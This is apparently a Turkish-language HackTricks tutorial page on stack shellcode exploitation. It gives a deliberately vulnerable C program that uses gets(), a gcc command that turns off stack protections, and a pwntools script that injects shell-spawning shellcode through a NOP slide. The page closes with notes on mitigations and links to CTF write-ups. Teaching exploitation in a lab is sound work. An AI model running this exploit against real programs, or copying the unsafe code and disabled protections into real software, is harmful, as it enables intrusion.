7.4 KiB
Stack Shellcode
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Temel Bilgiler
Stack shellcode, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından Instruction Pointer (IP) veya Extended Instruction Pointer (EIP)'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği binary exploitation'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve buna karşılık gelen bir istismar yazmanın nasıl olabileceği ile birlikte pwntools kullanarak.
C Örneği: Savunmasız Bir Program
Savunmasız bir C programının basit bir örneği ile başlayalım:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Bu program, gets()
fonksiyonunun kullanımı nedeniyle bir buffer overflow'a karşı savunmasızdır.
Derleme
Bu programı çeşitli korumaları devre dışı bırakarak (savunmasız bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Yığın korumasını devre dışı bırakır.-z execstack
: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir.-no-pie
: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un nerede bulunacağını tahmin etmeyi kolaylaştırır.-m32
: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır.
Python Exploit using Pwntools
İşte pwntools kullanarak Python'da bir ret2shellcode saldırısı gerçekleştirmek için bir exploit yazmanın yolu:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Bu script, bir NOP kaydırma, shellcode ve ardından EIP'yi NOP kaydırmaya işaret eden adresle geçersiz kılmayı içeren bir yük oluşturur, böylece shellcode'un çalıştırılmasını sağlar.
NOP kaydırma (asm('nop')
), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. p32()
argümanını, tamponunuzun başlangıç adresine NOP kaydırmaya inmek için bir offset ekleyerek ayarlayın.
Koruma Önlemleri
- ASLR devre dışı bırakılmalıdır ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve kazanma fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak.
- Stack Canaries da devre dışı bırakılmalıdır yoksa tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir.
- NX stack koruması, bu bölge yürütülebilir olmadığından shellcode'un stack içinde çalıştırılmasını engelleyecektir.
Diğer Örnekler & Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR ile stack adres leak, shellcode yaz ve ona atla
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR ile stack leak, shellcode yaz ve ona atla
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR ile stack leak, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle geçersiz kıl ve shellcode yaz ve ona atla
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, ASLR yok, stack'i yürütülebilir hale getirmek için ROP gadget ve stack'teki shellcode'a atla
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.